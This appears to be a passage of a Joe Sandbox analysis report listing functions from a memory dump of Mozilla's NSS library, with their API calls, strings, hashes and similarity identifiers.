Part of subcall function 6C1164F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C11127C,00000000,00000000,00000000), ref: 6C11650E

Strings

security, xrefs: 6C0FED06

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 447e103da367586e5accea53a75c88b250b859d2f09e537c2379ce1597c6dbe9
Instruction ID: bd5936e200a5eec137b7f5aba65d620900fceef406247c7b9c19b6d4fe85fc40
Opcode Fuzzy Hash: 447e103da367586e5accea53a75c88b250b859d2f09e537c2379ce1597c6dbe9
Instruction Fuzzy Hash: DD1154729042186BEA105625AC48BBF72F8AF4264CF440435FC74A3E82FB29A54DC6F7

Uniqueness

Uniqueness Score: -1.00%

Function 6C124DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C124DCB

Part of subcall function 6C110FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C0B87ED,00000800,6C0AEF74,00000000), ref: 6C111000
Part of subcall function 6C110FF0: PR_NewLock.NSS3(?,00000800,6C0AEF74,00000000), ref: 6C111016
Part of subcall function 6C110FF0: PL_InitArenaPool.NSS3(00000000,security,6C0B87ED,00000008,?,00000800,6C0AEF74,00000000), ref: 6C11102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C124DE1

Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C1110F3
Part of subcall function 6C1110C0: EnterCriticalSection.KERNEL32(?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11110C
Part of subcall function 6C1110C0: PL_ArenaAllocate.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111141
Part of subcall function 6C1110C0: PR_Unlock.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111182
Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C124DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C124E59

Part of subcall function 6C10FAB0: free.MOZGLUE(?,-00000001,?,?,6C0AF673,00000000,00000000), ref: 6C10FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C1E300C,00000000), ref: 6C124EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C124EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C124F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C12521A

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: e5dcebb810d5bc4ab1bb0a587803b2e29bfb12ef9b8ece5feb77c1e5c598aa52
Instruction ID: 6c10125470bb2686b667074465c61aea0d823f841382e3ced6d636d52eb6a505
Opcode Fuzzy Hash: e5dcebb810d5bc4ab1bb0a587803b2e29bfb12ef9b8ece5feb77c1e5c598aa52
Instruction Fuzzy Hash: 7BF1AD75E00209CBDB08CF58D8807ADB7B2BF99318F254169E915AB784E779E981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C120C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C122C2A), ref: 6C120C81

Part of subcall function 6C10BE30: SECOID_FindOID_Util.NSS3(6C0C311B,00000000,?,6C0C311B,?), ref: 6C10BE44

Part of subcall function 6C0F8500: SECOID_GetAlgorithmTag_Util.NSS3(6C0F95DC,00000000,00000000,00000000,?,6C0F95DC,00000000,00000000,?,6C0D7F4A,00000000,?,00000000,00000000), ref: 6C0F8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C120CC4

Part of subcall function 6C10FAB0: free.MOZGLUE(?,-00000001,?,?,6C0AF673,00000000,00000000), ref: 6C10FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C120CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C120D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C120D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C120D7D
free.MOZGLUE(00000000), ref: 6C120DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C120DC1
free.MOZGLUE(00000000), ref: 6C120DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C120E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C120E0F

Part of subcall function 6C0F95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C0D7F4A,00000000,?,00000000,00000000), ref: 6C0F95E0
Part of subcall function 6C0F95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C0D7F4A,00000000,?,00000000,00000000), ref: 6C0F95F5
Part of subcall function 6C0F95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C0F9609
Part of subcall function 6C0F95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C0F961D
Part of subcall function 6C0F95C0: PK11_GetInternalSlot.NSS3 ref: 6C0F970B
Part of subcall function 6C0F95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C0F9756
Part of subcall function 6C0F95C0: PK11_GetIVLength.NSS3(?), ref: 6C0F9767
Part of subcall function 6C0F95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C0F977E
Part of subcall function 6C0F95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C0F978E

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 2a21f9e0c3b1a4d7f395579219322171fd77b6bb2231027e3063ea8489a3154f
Instruction ID: a6b61b76d302193ebe4f270ece9e2ce5887a1524635198e7153fa9be0b22118d
Opcode Fuzzy Hash: 2a21f9e0c3b1a4d7f395579219322171fd77b6bb2231027e3063ea8489a3154f
Instruction Fuzzy Hash: D441B3B5E01249ABEB009F64DC45BAF76B4EF14308F140528ED2557741EB39FA98CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C0B7D8F,6C0B7D8F,?,?), ref: 6C0B6DC8

Part of subcall function 6C10FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C10FE08
Part of subcall function 6C10FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C10FE1D
Part of subcall function 6C10FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C10FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C0B7D8F,?,?), ref: 6C0B6DD5

Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C1110F3
Part of subcall function 6C1110C0: EnterCriticalSection.KERNEL32(?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11110C
Part of subcall function 6C1110C0: PL_ArenaAllocate.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111141
Part of subcall function 6C1110C0: PR_Unlock.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111182
Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C1D8FA0,00000000,?,?,?,?,6C0B7D8F,?,?), ref: 6C0B6DF7

Part of subcall function 6C10B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1E18D0,?), ref: 6C10B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C0B6E35

Part of subcall function 6C10FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C10FE29
Part of subcall function 6C10FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C10FE3D
Part of subcall function 6C10FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C10FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C0B6E4C

Part of subcall function 6C1110C0: PL_ArenaAllocate.NSS3(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C1D8FE0,00000000), ref: 6C0B6E82

Part of subcall function 6C0B6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C0BB21D,00000000,00000000,6C0BB219,?,6C0B6BFB,00000000,?,00000000,00000000,?,?,?,6C0BB21D), ref: 6C0B6B01
Part of subcall function 6C0B6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C0B6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C0B6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C0B6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C1D8FE0,00000000), ref: 6C0B6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C0B7D8F,?,?), ref: 6C0B6FE1

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: cb6066d826df29aff5de64de234ab5fa36ce968f46d95870d95d4a2ab8a32495
Instruction ID: 2ed2a65834dfcea8aa291559fb2cb0bafb8ca9cb9ea1488f1428b1d83ebf3d7c
Opcode Fuzzy Hash: cb6066d826df29aff5de64de234ab5fa36ce968f46d95870d95d4a2ab8a32495
Instruction Fuzzy Hash: C3718E71E102569BEB04CF15CD40BAABBE4FF94348F154229E818E7A11F772EA94CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C0FADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE10
EnterCriticalSection.KERNEL32(?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C0DD079,00000000,00000001), ref: 6C0FAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE7F
TlsGetValue.KERNEL32(?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAEF1
free.MOZGLUE(6C0DCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C0DCDBB,?), ref: 6C0FAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAF30

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 4acdcdfaecea4c002498b170439ca799c024b79787f0c8e9814086ecf73062da
Instruction ID: 3c1d3575cff78bb9f33b96971810ebd2787ae05252c540475db9fb749ce14b81
Opcode Fuzzy Hash: 4acdcdfaecea4c002498b170439ca799c024b79787f0c8e9814086ecf73062da
Instruction Fuzzy Hash: 65518CB1A00601AFDB049F25C885B5AB7F4FF05318F244265EC299BA51E731F9A9CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C0DAB7F,?,00000000,?), ref: 6C0D4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C0DAB7F,?,00000000,?), ref: 6C0D4CC8
TlsGetValue.KERNEL32(?,6C0DAB7F,?,00000000,?), ref: 6C0D4CE0
EnterCriticalSection.KERNEL32(?,?,6C0DAB7F,?,00000000,?), ref: 6C0D4CF4
PL_HashTableLookup.NSS3(?,?,?,6C0DAB7F,?,00000000,?), ref: 6C0D4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C0D4D10

Part of subcall function 6C15DD70: TlsGetValue.KERNEL32 ref: 6C15DD8C
Part of subcall function 6C15DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C15DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C0D4D26

Part of subcall function 6C179DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C1C0A27), ref: 6C179DC6
Part of subcall function 6C179DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C1C0A27), ref: 6C179DD1
Part of subcall function 6C179DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C179DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C0D4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C0D4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C0D4E02

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 9d00758b929519a98f75521c1625d470a30a9c2abb786802bb12645262eed75c
Instruction ID: 368603c308cf42d98225b83678fcc036449e003144c6b4b76e2721d6f0e5e132
Opcode Fuzzy Hash: 9d00758b929519a98f75521c1625d470a30a9c2abb786802bb12645262eed75c
Instruction Fuzzy Hash: 594198B5A00305AFDB015FA4EC44B6A77E8EF1525CF064171EC1987B52EB31F968C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0FCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C0FCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C0FCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C0FD079

Part of subcall function 6C15C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C15C2BF

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 443507e0409aa4948bff1c2a046a45d7463e17dfec119189c4ae28d1d5abc032
Instruction ID: ac0d2e3fa4bbc39118b73f54b3433ef4c3a6c16d2d8b8b2c56beeed1091ec48b
Opcode Fuzzy Hash: 443507e0409aa4948bff1c2a046a45d7463e17dfec119189c4ae28d1d5abc032
Instruction Fuzzy Hash: A0C17DB1A002199BDB20DF24CC85BDAB7F4AF48318F1441A8ED58A7741E775EAD6CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(4FF4C358), ref: 6C0B2C5D

Part of subcall function 6C110D30: calloc.MOZGLUE ref: 6C110D50
Part of subcall function 6C110D30: TlsGetValue.KERNEL32 ref: 6C110D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C0B2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C0B2CE0

Part of subcall function 6C0B2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C0B2CDA,?,00000000), ref: 6C0B2E1E
Part of subcall function 6C0B2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C0B2E33
Part of subcall function 6C0B2E00: TlsGetValue.KERNEL32 ref: 6C0B2E4E
Part of subcall function 6C0B2E00: EnterCriticalSection.KERNEL32(?), ref: 6C0B2E5E
Part of subcall function 6C0B2E00: PL_HashTableLookup.NSS3(?), ref: 6C0B2E71
Part of subcall function 6C0B2E00: PL_HashTableRemove.NSS3(?), ref: 6C0B2E84
Part of subcall function 6C0B2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C0B2E96
Part of subcall function 6C0B2E00: PR_Unlock.NSS3 ref: 6C0B2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0B2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C0B2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C0B2D3F
free.MOZGLUE(00000000), ref: 6C0B2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C0B2DB8
free.MOZGLUE ref: 6C0B2DC8

Part of subcall function 6C0B3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0B3EC2
Part of subcall function 6C0B3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C0B3ED6
Part of subcall function 6C0B3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C0B3EEE
Part of subcall function 6C0B3E60: PR_CallOnce.NSS3(6C212AA4,6C1112D0), ref: 6C0B3F02
Part of subcall function 6C0B3E60: PL_FreeArenaPool.NSS3 ref: 6C0B3F14
Part of subcall function 6C0B3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C0B3F27

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 797baf8a89dc2dd8eff1fe255aa7631693b8146470ccf72e14cca4acfbbfe25b
Instruction ID: 590d6d6975ade89fb398c6650b23e65a7bcb2b19f6d730a69382b67ee4237734
Opcode Fuzzy Hash: 797baf8a89dc2dd8eff1fe255aa7631693b8146470ccf72e14cca4acfbbfe25b
Instruction Fuzzy Hash: B751DE71A042119BEB10DE29DC89B6B77E5EF94348F15093CEC59A7650EB32F814CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C04E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C04E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C04E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C04EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C04EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C04EB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6C04EE04
unknown column "%s" in foreign key definition, xrefs: 6C04ED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C04EDC2

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 1ed830fd2dfd6b132850a04b9113b3767eb7e1736ad7d031cc747b204f706cc4
Instruction ID: 52ce20d2d088206c5cce271512197183fa594469dc9c6e760964faf2978e9ef0
Opcode Fuzzy Hash: 1ed830fd2dfd6b132850a04b9113b3767eb7e1736ad7d031cc747b204f706cc4
Instruction Fuzzy Hash: 4E023975A05209CFDB04CF59C480BAEF7F2BF89318F298179D825AB751D731A942CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C114DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C11536F,00000022,?,?,00000000,?), ref: 6C114E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C114F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C114F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C114FAE
free.MOZGLUE(?), ref: 6C114FC8

Strings

%s=%s, xrefs: 6C114F89
%s=%c%s%c, xrefs: 6C114FA9

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: cacccf2c485c969ad53c97cc3a6a20a14d63183c64c38dd8d8180b50c249b126
Instruction ID: 402f3ec41d56c2441357678e9128f07f6201c6ba21f5bf6d9269f341b4776d5b
Opcode Fuzzy Hash: cacccf2c485c969ad53c97cc3a6a20a14d63183c64c38dd8d8180b50c249b126
